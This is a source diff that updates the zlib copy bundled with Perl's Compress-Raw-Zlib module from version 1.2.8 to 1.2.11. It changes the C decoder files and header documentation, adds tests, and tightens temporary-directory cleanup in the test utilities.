+# Windows uses a different name for the zlib library
+my $ZLIB_LIBRARY_NAME = $^O eq 'MSWin32' ? 'zlib' : 'z' ;
+
#$WALL = ' -pedantic ' if $Config{'cc'} =~ /gcc/ ;
#$WALL = ' -Wall -Wno-comment ' if $Config{'cc'} =~ /gcc/ ;
@@ -84,7 +88,7 @@ WriteMakefile(
(
$BUILD_ZLIB
? zlib_files($ZLIB_LIB)
- : (LIBS => [ "-L$ZLIB_LIB -lz " ])
+ : (LIBS => [ "-L$ZLIB_LIB -l$ZLIB_LIBRARY_NAME " ])
),
OPTIMIZE => $OPTIMIZE,
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/config.in b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/config.in
index c56cc030996..d6701ffb0cf 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/config.in
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/config.in
@@ -19,7 +19,6 @@
BUILD_ZLIB = True
INCLUDE = ./zlib-src
LIB = ./zlib-src
-
OLD_ZLIB = False
GZIP_OS_CODE = AUTO_DETECT
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/02zlib.t b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/02zlib.t
index 2c9aad67152..d7cd513af1e 100755
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/02zlib.t
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/02zlib.t
@@ -24,13 +24,13 @@ BEGIN
my $count = 0 ;
if ($] < 5.005) {
- $count = 232 ;
+ $count = 237 ;
}
elsif ($] >= 5.006) {
- $count = 317 ;
+ $count = 325 ;
}
else {
- $count = 275 ;
+ $count = 280 ;
}
plan tests => $count + $extra;
@@ -559,6 +559,13 @@ SKIP:
is $x->get_Level(), Z_BEST_SPEED;
is $x->get_Strategy(), Z_HUFFMAN_ONLY;
+ # change both Level & Strategy again without any calls to deflate
+ $status = $x->deflateParams(-Level => Z_DEFAULT_COMPRESSION, -Strategy => Z_DEFAULT_STRATEGY, -Bufsize => 1234) ;
+ cmp_ok $status, '==', Z_OK ;
+
+ is $x->get_Level(), Z_DEFAULT_COMPRESSION;
+ is $x->get_Strategy(), Z_DEFAULT_STRATEGY;
+
$status = $x->deflate($goodbye, $Answer) ;
cmp_ok $status, '==', Z_OK ;
$input .= $goodbye;
@@ -568,7 +575,7 @@ SKIP:
cmp_ok $status, '==', Z_OK ;
is $x->get_Level(), Z_NO_COMPRESSION;
- is $x->get_Strategy(), Z_HUFFMAN_ONLY;
+ is $x->get_Strategy(), Z_DEFAULT_STRATEGY;
$status = $x->deflate($goodbye, $Answer) ;
cmp_ok $status, '==', Z_OK ;
@@ -940,6 +947,33 @@ SKIP:
is $X, "", "no output from second flush";
}
+{
+ title "crc32";
+
+ is eval('Compress::Raw::Zlib::crc32("A" x 0x100, 0, 0x100); 0x1234'), 0x1234;
+ is $@, '';
+
+ is eval('Compress::Raw::Zlib::crc32("A" x 0x100, 0, 0x101); 0x1234'), undef;
+ like $@, mkErr("^Offset out of range in Compress::Raw::Zlib::crc32") ;
+
+}
+
+if (0)
+{
+ title "RT #122695: sync flush appending extra empty uncompressed block";
+
+ my $hello = "I am a HAL 9000 computer" ;
+ my ($err, $x, $X, $status);
+
+ ok( ($x, $err) = new Compress::Raw::Zlib::Deflate ( ), "Create deflate object" );
+ isa_ok $x, "Compress::Raw::Zlib::deflateStream" ;
+ cmp_ok $err, '==', Z_OK, "status is Z_OK" ;
+
+ cmp_ok $x->flush($X, Z_SYNC_FLUSH), '==', Z_OK, "flush returned Z_OK" ;
+ cmp_ok $x->flush($X, Z_SYNC_FLUSH), '==', Z_OK, "second flush returned Z_OK" ;
+ is $X, "", "no output from second flush";
+}
+
exit if $] < 5.006 ;
title 'Looping Append test with substr output - substr the end of the string';
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/compress/CompTestUtils.pm b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/compress/CompTestUtils.pm
index 9815eb2caaa..da238e15d27 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/compress/CompTestUtils.pm
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/compress/CompTestUtils.pm
@@ -70,8 +70,8 @@ BEGIN {
our ($index);
$index = '00000';
- our ($useTempFile) = defined &File::Temp::tempdir;
- our ($useTempDir) = defined &File::Temp::newdir;
+ our ($useTempFile);
+ our ($useTempDir);
sub new
{
@@ -115,7 +115,12 @@ BEGIN {
# autogenerate the name if none supplied
$_ = "tmpdir" . $$ . "X" . $index ++ . ".tmp" ;
}
- foreach (@_) { rmtree $_; mkdir $_, 0777 }
+ foreach (@_)
+ {
+ rmtree $_, {verbose => 0, safe => 1}
+ if -d $_;
+ mkdir $_, 0777
+ }
bless [ @_ ], $self ;
}
@@ -126,7 +131,11 @@ BEGIN {
if (! $useTempFile)
{
my $self = shift ;
- foreach (@$self) { rmtree $_ }
+ foreach (@$self)
+ {
+ rmtree $_, {verbose => 0, safe => 1}
+ if -d $_ ;
+ }
}
}
}
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/typemap b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/typemap
index 6d426e13f67..36fce4aa94f 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/typemap
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/typemap
@@ -15,7 +15,8 @@ const char * T_PV
char * T_PV
uLong T_UV
z_off_t T_UV
-DualType T_DUAL
+STRLEN T_UV
+DualType T_DUAL
int_undef T_IV_undef
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/infback.c b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/infback.c
index cff17ee2f64..7f51a5e6b78 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/infback.c
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/infback.c
@@ -1,5 +1,5 @@
/* infback.c -- inflate using a call-back interface
- * Copyright (C) 1995-2011 Mark Adler
+ * Copyright (C) 1995-2016 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
@@ -61,7 +61,7 @@ int ZEXPORT inflateBackInit_(
Tracev((stderr, "inflate: allocated\n"));
strm->state = (struct internal_state FAR *)state;
state->dmax = 32768U;
- state->wbits = windowBits;
+ state->wbits = (uInt)windowBits;
state->wsize = 1U << windowBits;
state->window = window;
state->wnext = 0;
@@ -477,6 +477,7 @@ int ZEXPORT inflateBack(
}
Tracev((stderr, "inflate: codes ok\n"));
state->mode = LEN;
+ /* FALLTHROUGH */
case LEN:
/* use inflate_fast() if we have enough input and output */
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inffast.c b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inffast.c
index 436b0b2bf6b..1583181cda4 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inffast.c
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inffast.c
@@ -1,5 +1,5 @@
/* inffast.c -- fast decoding
- * Copyright (C) 1995-2008, 2010, 2013 Mark Adler
+ * Copyright (C) 1995-2017 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
@@ -8,26 +8,9 @@
#include "inflate.h"
#include "inffast.h"
-#ifndef ASMINF
-
-/* Allow machine dependent optimization for post-increment or pre-increment.
- Based on testing to date,
- Pre-increment preferred for:
- - PowerPC G3 (Adler)
- - MIPS R5000 (Randers-Pehrson)
- Post-increment preferred for:
- - none
- No measurable difference:
- - Pentium III (Anderson)
- - M68060 (Nikl)
- */
-#ifdef POSTINC
-# define OFF 0
-# define PUP(a) *(a)++
+#ifdef ASMINF
+# pragma message("Assembler code may have bugs -- use at your own risk")
#else
-# define OFF 1
-# define PUP(a) *++(a)
-#endif
/*
Decode literal, length, and distance codes and write out the resulting
@@ -96,9 +79,9 @@ void ZLIB_INTERNAL inflate_fast(
/* copy state to local variables */
state = (struct inflate_state FAR *)strm->state;
- in = strm->next_in - OFF;
+ in = strm->next_in;
last = in + (strm->avail_in - 5);
- out = strm->next_out - OFF;
+ out = strm->next_out;
beg = out - (start - strm->avail_out);
end = out + (strm->avail_out - 257);
#ifdef INFLATE_STRICT
@@ -119,9 +102,9 @@ void ZLIB_INTERNAL inflate_fast(
input data or output space */
do {
if (bits < 15) {
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
}
here = lcode[hold & lmask];
@@ -134,14 +117,14 @@ void ZLIB_INTERNAL inflate_fast(
Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
"inflate: literal '%c'\n" :
"inflate: literal 0x%02x\n", here.val));
- PUP(out) = (unsigned char)(here.val);
+ *out++ = (unsigned char)(here.val);
}
else if (op & 16) { /* length base */
len = (unsigned)(here.val);
op &= 15; /* number of extra bits */
if (op) {
if (bits < op) {
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
}
len += (unsigned)hold & ((1U << op) - 1);
@@ -150,9 +133,9 @@ void ZLIB_INTERNAL inflate_fast(
}
Tracevv((stderr, "inflate: length %u\n", len));
if (bits < 15) {
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
}
here = dcode[hold & dmask];
@@ -165,10 +148,10 @@ void ZLIB_INTERNAL inflate_fast(
dist = (unsigned)(here.val);
op &= 15; /* number of extra bits */
if (bits < op) {
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
if (bits < op) {
- hold += (unsigned long)(PUP(in)) << bits;
+ hold += (unsigned long)(*in++) << bits;
bits += 8;
}
}
@@ -196,30 +179,30 @@ void ZLIB_INTERNAL inflate_fast(
#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
if (len <= op - whave) {
do {
- PUP(out) = 0;
+ *out++ = 0;
} while (--len);
continue;
}
len -= op - whave;
do {
- PUP(out) = 0;
+ *out++ = 0;
} while (--op > whave);
if (op == 0) {
from = out - dist;
do {
- PUP(out) = PUP(from);
+ *out++ = *from++;
} while (--len);
continue;
}
#endif
}
- from = window - OFF;
+ from = window;
if (wnext == 0) { /* very common case */
from += wsize - op;
if (op < len) { /* some from window */
len -= op;
do {
- PUP(out) = PUP(from);
+ *out++ = *from++;
} while (--op);
from = out - dist; /* rest from output */
}
@@ -230,14 +213,14 @@ void ZLIB_INTERNAL inflate_fast(
if (op < len) { /* some from end of window */
len -= op;
do {
- PUP(out) = PUP(from);
+ *out++ = *from++;
} while (--op);
- from = window - OFF;
+ from = window;
if (wnext < len) { /* some from start of window */
op = wnext;
len -= op;
do {
- PUP(out) = PUP(from);
+ *out++ = *from++;
} while (--op);
from = out - dist; /* rest from output */
}
@@ -248,35 +231,35 @@ void ZLIB_INTERNAL inflate_fast(
if (op < len) { /* some from window */
len -= op;
do {
- PUP(out) = PUP(from);
+ *out++ = *from++;
} while (--op);
from = out - dist; /* rest from output */
}
}
while (len > 2) {
- PUP(out) = PUP(from);
- PUP(out) = PUP(from);
- PUP(out) = PUP(from);
+ *out++ = *from++;
+ *out++ = *from++;
+ *out++ = *from++;
len -= 3;
}
if (len) {
- PUP(out) = PUP(from);
+ *out++ = *from++;
if (len > 1)
- PUP(out) = PUP(from);
+ *out++ = *from++;
}
}
else {
from = out - dist; /* copy direct from output */
do { /* minimum length is three */
- PUP(out) = PUP(from);
- PUP(out) = PUP(from);
- PUP(out) = PUP(from);
+ *out++ = *from++;
+ *out++ = *from++;
+ *out++ = *from++;
len -= 3;
} while (len > 2);
if (len) {
- PUP(out) = PUP(from);
+ *out++ = *from++;
if (len > 1)
- PUP(out) = PUP(from);
+ *out++ = *from++;
}
}
}
@@ -313,8 +296,8 @@ void ZLIB_INTERNAL inflate_fast(
hold &= (1U << bits) - 1;
/* update state and return */
- strm->next_in = in + OFF;
- strm->next_out = out + OFF;
+ strm->next_in = in;
+ strm->next_out = out;
strm->avail_in = (unsigned)(in < last ? 5 + (last - in) : 5 - (in - last));
strm->avail_out = (unsigned)(out < end ?
257 + (end - out) : 257 - (out - end));
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inflate.h b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inflate.h
index 95f4986d400..a46cce6b6d0 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inflate.h
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inflate.h
@@ -1,5 +1,5 @@
/* inflate.h -- internal inflate state definition
- * Copyright (C) 1995-2009 Mark Adler
+ * Copyright (C) 1995-2016 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
@@ -18,7 +18,7 @@
/* Possible inflate modes between inflate() calls */
typedef enum {
- HEAD, /* i: waiting for magic header */
+ HEAD = 16180, /* i: waiting for magic header */
FLAGS, /* i: waiting for method and flags (gzip) */
TIME, /* i: waiting for modification time (gzip) */
OS, /* i: waiting for extra flags and operating system (gzip) */
@@ -77,11 +77,14 @@ typedef enum {
CHECK -> LENGTH -> DONE
*/
-/* state maintained between inflate() calls. Approximately 10K bytes. */
+/* State maintained between inflate() calls -- approximately 7K bytes, not
+ including the allocated sliding window, which is up to 32K bytes. */
struct inflate_state {
+ z_streamp strm; /* pointer back to this zlib stream */
inflate_mode mode; /* current inflate mode */
int last; /* true if processing last block */
- int wrap; /* bit 0 true for zlib, bit 1 true for gzip */
+ int wrap; /* bit 0 true for zlib, bit 1 true for gzip,
+ bit 2 true to validate check value */
int havedict; /* true if dictionary provided */
int flags; /* gzip header method and flags (0 if zlib) */
unsigned dmax; /* zlib header max distance (INFLATE_STRICT) */
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c
index 039222a952e..c917e3de751 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c
@@ -1,5 +1,5 @@
/* inftrees.c -- generate Huffman trees for efficient decoding
- * Copyright (C) 1995-2013 Mark Adler
+ * Copyright (C) 1995-2017 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
@@ -9,7 +9,7 @@
#define MAXBITS 15
const char inflate_copyright[] =
- " inflate 1.2.8 Copyright 1995-2013 Mark Adler ";
+ " inflate 1.2.11 Copyright 1995-2017 Mark Adler ";
/*
If you use the zlib library in a product, an acknowledgment is welcome
in the documentation of your product. If for some reason you cannot
@@ -54,7 +54,7 @@ int ZLIB_INTERNAL inflate_table(
code FAR *next; /* next available space in table */
const unsigned short FAR *base; /* base value table to use */
const unsigned short FAR *extra; /* extra bits table to use */
- int end; /* use base and extra for symbol > end */
+ unsigned match; /* use base and extra for symbol >= match */
unsigned short count[MAXBITS+1]; /* number of codes of each length */
unsigned short offs[MAXBITS+1]; /* offsets in table for each length */
static const unsigned short lbase[31] = { /* Length codes 257..285 base */
@@ -62,7 +62,7 @@ int ZLIB_INTERNAL inflate_table(
35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};
static const unsigned short lext[31] = { /* Length codes 257..285 extra */
16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
- 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78};
+ 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 77, 202};
static const unsigned short dbase[32] = { /* Distance codes 0..29 base */
1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
@@ -181,19 +181,17 @@ int ZLIB_INTERNAL inflate_table(
switch (type) {
case CODES:
base = extra = work; /* dummy value--not used */
- end = 19;
+ match = 20;
break;
case LENS:
base = lbase;
- base -= 257;
extra = lext;
- extra -= 257;
- end = 256;
+ match = 257;
break;
- default: /* DISTS */
+ default: /* DISTS */
base = dbase;
extra = dext;
- end = -1;
+ match = 0;
}
/* initialize state for loop */
@@ -216,13 +214,13 @@ int ZLIB_INTERNAL inflate_table(
for (;;) {
/* create table entry */
here.bits = (unsigned char)(len - drop);
- if ((int)(work[sym]) < end) {
+ if (work[sym] + 1U < match) {
here.op = (unsigned char)0;
here.val = work[sym];
}
- else if ((int)(work[sym]) > end) {
- here.op = (unsigned char)(extra[work[sym]]);
- here.val = base[work[sym]];
+ else if (work[sym] >= match) {
+ here.op = (unsigned char)(extra[work[sym] - match]);
+ here.val = base[work[sym] - match];
}
else {
here.op = (unsigned char)(32 + 64); /* end of block */
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/zlib.h b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/zlib.h
index 3e0c7672ac5..f09cdaf1e05 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/zlib.h
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/zlib.h
@@ -1,7 +1,7 @@
/* zlib.h -- interface of the 'zlib' general purpose compression library
- version 1.2.8, April 28th, 2013
+ version 1.2.11, January 15th, 2017
- Copyright (C) 1995-2013 Jean-loup Gailly and Mark Adler
+ Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
@@ -37,11 +37,11 @@
extern "C" {
#endif
-#define ZLIB_VERSION "1.2.8"
-#define ZLIB_VERNUM 0x1280
+#define ZLIB_VERSION "1.2.11"
+#define ZLIB_VERNUM 0x12b0
#define ZLIB_VER_MAJOR 1
#define ZLIB_VER_MINOR 2
-#define ZLIB_VER_REVISION 8
+#define ZLIB_VER_REVISION 11
#define ZLIB_VER_SUBREVISION 0
/*
@@ -65,7 +65,8 @@ extern "C" {
with "gz". The gzip format is different from the zlib format. gzip is a
gzip wrapper, documented in RFC 1952, wrapped around a deflate stream.
- This library can optionally read and write gzip streams in memory as well.
+ This library can optionally read and write gzip and raw deflate streams in
+ memory as well.
The zlib format was designed to be compact and fast for use in memory
and on communications channels. The gzip format was designed for single-
@@ -74,7 +75,7 @@ extern "C" {
The library does not install any signal handler. The decoder checks
the consistency of the compressed data, so the library should never crash
- even in case of corrupted input.
+ even in the case of corrupted input.
*/
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
@@ -87,7 +88,7 @@ typedef struct z_stream_s {
uInt avail_in; /* number of bytes available at next_in */
uLong total_in; /* total number of input bytes read so far */
- Bytef *next_out; /* next output byte should be put there */
+ Bytef *next_out; /* next output byte will go here */
uInt avail_out; /* remaining free space at next_out */
uLong total_out; /* total number of bytes output so far */
@@ -98,8 +99,9 @@ typedef struct z_stream_s {
free_func zfree; /* used to free the internal state */
voidpf opaque; /* private data object passed to zalloc and zfree */
- int data_type; /* best guess about the data type: binary or text */
- uLong adler; /* adler32 value of the uncompressed data */
+ int data_type; /* best guess about the data type: binary or text
+ for deflate, or the decoding state for inflate */
+ uLong adler; /* Adler-32 or CRC-32 value of the uncompressed data */
uLong reserved; /* reserved for future use */
} z_stream;
@@ -142,7 +144,9 @@ typedef gz_header FAR *gz_headerp;
zalloc must return Z_NULL if there is not enough memory for the object.
If zlib is used in a multi-threaded application, zalloc and zfree must be
- thread safe.
+ thread safe. In that case, zlib is thread-safe. When zalloc and zfree are
+ Z_NULL on entry to the initialization function, they are set to internal
+ routines that use the standard library functions malloc() and free().
On 16-bit systems, the functions zalloc and zfree must be able to allocate
exactly 65536 bytes, but will not be required to allocate more than this if
@@ -155,7 +159,7 @@ typedef gz_header FAR *gz_headerp;
The fields total_in and total_out can be used for statistics or progress
reports. After compression, total_in holds the total size of the
- uncompressed data and may be saved for use in the decompressor (particularly
+ uncompressed data and may be saved for use by the decompressor (particularly
if the decompressor wants to decompress everything in a single step).
*/
@@ -200,7 +204,7 @@ typedef gz_header FAR *gz_headerp;
#define Z_TEXT 1
#define Z_ASCII Z_TEXT /* for compatibility with 1.2.2 and earlier */
#define Z_UNKNOWN 2
-/* Possible values of the data_type field (though see inflate()) */
+/* Possible values of the data_type field for deflate() */
#define Z_DEFLATED 8
/* The deflate compression method (the only one supported in this version) */
@@ -258,11 +262,11 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
enough room in the output buffer), next_in and avail_in are updated and
processing will resume at this point for the next call of deflate().
- - Provide more output starting at next_out and update next_out and avail_out
+ - Generate more output starting at next_out and update next_out and avail_out
accordingly. This action is forced if the parameter flush is non zero.
Forcing flush frequently degrades the compression ratio, so this parameter
- should be set only when necessary (in interactive applications). Some
- output may be provided even if flush is not set.
+ should be set only when necessary. Some output may be provided even if
+ flush is zero.
Before the call of deflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming more
@@ -271,7 +275,9 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
output when it wants, for example when the output buffer is full (avail_out
== 0), or after each call of deflate(). If deflate returns Z_OK and with
zero avail_out, it must be called again after making room in the output
- buffer because there might be more output pending.
+ buffer because there might be more output pending. See deflatePending(),
+ which can be used if desired to determine whether or not there is more ouput
+ in that case.
Normally the parameter flush is set to Z_NO_FLUSH, which allows deflate to
decide how much data to accumulate before producing output, in order to
@@ -292,8 +298,8 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
input data so far will be available to the decompressor, as for Z_SYNC_FLUSH.
This completes the current deflate block and follows it with an empty fixed
codes block that is 10 bits long. This assures that enough bytes are output
- in order for the decompressor to finish the block before the empty fixed code
- block.
+ in order for the decompressor to finish the block before the empty fixed
+ codes block.
If flush is set to Z_BLOCK, a deflate block is completed and emitted, as
for Z_SYNC_FLUSH, but the output is not aligned on a byte boundary, and up to
@@ -319,34 +325,38 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
If the parameter flush is set to Z_FINISH, pending input is processed,
pending output is flushed and deflate returns with Z_STREAM_END if there was
- enough output space; if deflate returns with Z_OK, this function must be
- called again with Z_FINISH and more output space (updated avail_out) but no
- more input data, until it returns with Z_STREAM_END or an error. After
- deflate has returned Z_STREAM_END, the only possible operations on the stream
- are deflateReset or deflateEnd.
-
- Z_FINISH can be used immediately after deflateInit if all the compression
- is to be done in a single step. In this case, avail_out must be at least the
- value returned by deflateBound (see below). Then deflate is guaranteed to
- return Z_STREAM_END. If not enough output space is provided, deflate will
- not return Z_STREAM_END, and it must be called again as described above.
-
- deflate() sets strm->adler to the adler32 checksum of all input read
- so far (that is, total_in bytes).
+ enough output space. If deflate returns with Z_OK or Z_BUF_ERROR, this
+ function must be called again with Z_FINISH and more output space (updated
+ avail_out) but no more input data, until it returns with Z_STREAM_END or an
+ error. After deflate has returned Z_STREAM_END, the only possible operations
+ on the stream are deflateReset or deflateEnd.
+
+ Z_FINISH can be used in the first deflate call after deflateInit if all the
+ compression is to be done in a single step. In order to complete in one
+ call, avail_out must be at least the value returned by deflateBound (see
+ below). Then deflate is guaranteed to return Z_STREAM_END. If not enough
+ output space is provided, deflate will not return Z_STREAM_END, and it must
+ be called again as described above.
+
+ deflate() sets strm->adler to the Adler-32 checksum of all input read
+ so far (that is, total_in bytes). If a gzip stream is being generated, then
+ strm->adler will be the CRC-32 checksum of the input read so far. (See
+ deflateInit2 below.)
deflate() may update strm->data_type if it can make a good guess about
- the input data type (Z_BINARY or Z_TEXT). In doubt, the data is considered
- binary. This field is only for information purposes and does not affect the
- compression algorithm in any manner.
+ the input data type (Z_BINARY or Z_TEXT). If in doubt, the data is
+ considered binary. This field is only for information purposes and does not
+ affect the compression algorithm in any manner.
deflate() returns Z_OK if some progress has been made (more input
processed or more output produced), Z_STREAM_END if all input has been
consumed and all output has been produced (only when flush is set to
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
- if next_in or next_out was Z_NULL), Z_BUF_ERROR if no progress is possible
- (for example avail_in or avail_out was zero). Note that Z_BUF_ERROR is not
- fatal, and deflate() can be called again with more input and more output
- space to continue compressing.
+ if next_in or next_out was Z_NULL or the state was inadvertently written over
+ by the application), or Z_BUF_ERROR if no progress is possible (for example
+ avail_in or avail_out was zero). Note that Z_BUF_ERROR is not fatal, and
+ deflate() can be called again with more input and more output space to
+ continue compressing.
*/
@@ -369,23 +379,21 @@ ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
Initializes the internal stream state for decompression. The fields
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
- the caller. If next_in is not Z_NULL and avail_in is large enough (the
- exact value depends on the compression method), inflateInit determines the
- compression method from the zlib header and allocates all data structures
- accordingly; otherwise the allocation will be deferred to the first call of
- inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
- use default allocation functions.
+ the caller. In the current version of inflate, the provided input is not
+ read or consumed. The allocation of a sliding window will be deferred to
+ the first call of inflate (if the decompression does not complete on the
+ first call). If zalloc and zfree are set to Z_NULL, inflateInit updates
+ them to use default allocation functions.
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
version assumed by the caller, or Z_STREAM_ERROR if the parameters are
invalid, such as a null pointer to the structure. msg is set to null if
- there is no error message. inflateInit does not perform any decompression
- apart from possibly reading the zlib header if present: actual decompression
- will be done by inflate(). (So next_in and avail_in may be modified, but
- next_out and avail_out are unused and unchanged.) The current implementation
- of inflateInit() does not process any header information -- that is deferred
- until inflate() is called.
+ there is no error message. inflateInit does not perform any decompression.
+ Actual decompression will be done by inflate(). So next_in, and avail_in,
+ next_out, and avail_out are unused and unchanged. The current
+ implementation of inflateInit() does not process any header information --
+ that is deferred until inflate() is called.
*/
@@ -401,17 +409,20 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
- Decompress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
- enough room in the output buffer), next_in is updated and processing will
- resume at this point for the next call of inflate().
+ enough room in the output buffer), then next_in and avail_in are updated
+ accordingly, and processing will resume at this point for the next call of
+ inflate().
- - Provide more output starting at next_out and update next_out and avail_out
+ - Generate more output starting at next_out and update next_out and avail_out
accordingly. inflate() provides as much output as possible, until there is
no more input data or no more space in the output buffer (see below about
the flush parameter).
Before the call of inflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming more
- output, and updating the next_* and avail_* values accordingly. The
+ output, and updating the next_* and avail_* values accordingly. If the
+ caller of inflate() does not provide both available input and available
+ output space, it is possible that there will be no progress made. The
application can consume the uncompressed output when it wants, for example
when the output buffer is full (avail_out == 0), or after each call of
inflate(). If inflate returns Z_OK and with zero avail_out, it must be
@@ -428,7 +439,7 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
gets to the end of that block, or when it runs out of data.
The Z_BLOCK option assists in appending to or combining deflate streams.
- Also to assist in this, on return inflate() will set strm->data_type to the
+ To assist in this, on return inflate() always sets strm->data_type to the
number of unused bits in the last byte taken from strm->next_in, plus 64 if
inflate() is currently decoding the last block in the deflate stream, plus
128 if inflate() returned immediately after decoding an end-of-block code or
@@ -454,7 +465,7 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
this case all pending input is processed and all pending output is flushed;
avail_out must be large enough to hold all of the uncompressed data for the
operation to complete. (The size of the uncompressed data may have been
- saved by the compressor for this purpose.) The use of Z_FINISH is not
+ saved by the compressor for this purpose.) The use of Z_FINISH is not
required to perform an inflation in one step. However it may be used to
inform inflate that a faster approach can be used for the single inflate()
call. Z_FINISH also informs inflate to not maintain a sliding window if the
@@ -476,32 +487,33 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
chosen by the compressor and returns Z_NEED_DICT; otherwise it sets
strm->adler to the Adler-32 checksum of all output produced so far (that is,
total_out bytes) and returns Z_OK, Z_STREAM_END or an error code as described
- below. At the end of the stream, inflate() checks that its computed adler32
+ below. At the end of the stream, inflate() checks that its computed Adler-32
checksum is equal to that saved by the compressor and returns Z_STREAM_END
only if the checksum is correct.
inflate() can decompress and check either zlib-wrapped or gzip-wrapped
deflate data. The header type is detected automatically, if requested when
initializing with inflateInit2(). Any information contained in the gzip
- header is not retained, so applications that need that information should
- instead use raw inflate, see inflateInit2() below, or inflateBack() and
- perform their own processing of the gzip header and trailer. When processing
+ header is not retained unless inflateGetHeader() is used. When processing
gzip-wrapped deflate data, strm->adler32 is set to the CRC-32 of the output
- producted so far. The CRC-32 is checked against the gzip trailer.
+ produced so far. The CRC-32 is checked against the gzip trailer, as is the
+ uncompressed length, modulo 2^32.
inflate() returns Z_OK if some progress has been made (more input processed
or more output produced), Z_STREAM_END if the end of the compressed data has
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
corrupted (input stream not conforming to the zlib format or incorrect check
- value), Z_STREAM_ERROR if the stream structure was inconsistent (for example
- next_in or next_out was Z_NULL), Z_MEM_ERROR if there was not enough memory,
